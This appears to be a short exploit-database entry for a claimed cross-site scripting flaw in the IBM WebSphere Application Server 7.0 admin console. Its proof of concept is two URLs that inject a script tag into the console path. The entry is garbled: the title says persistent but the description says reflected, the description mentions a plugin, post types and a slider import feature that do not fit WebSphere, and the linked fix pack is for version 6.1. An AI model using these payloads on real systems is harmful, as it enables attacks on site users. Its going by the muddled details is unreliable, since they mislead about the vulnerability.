# Exploit Title: IBM Websphere Application Server 7.0 - Persistent Cross-Site Scripting (Authenticated) # Date: 2022-12-02 # Author: Milad karimi # Software Link: https://www.ibm.com/support/pages/6107-websphere-application-server-v61-fix-pack-7-windows # Version: 7.0 # Tested on: Windows 10 # CVE: 2009-0855 1. Description: This plugin creates a IBM Websphere Application Server from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting. 2. Proof of Concept: http://www.example.com/ibm/console/<script>alert('Ex3ptionaL_XSS')</script> http://www.example.com/ibm/console/<script>alert('Ex3ptionaL_XSS')</script>.jsp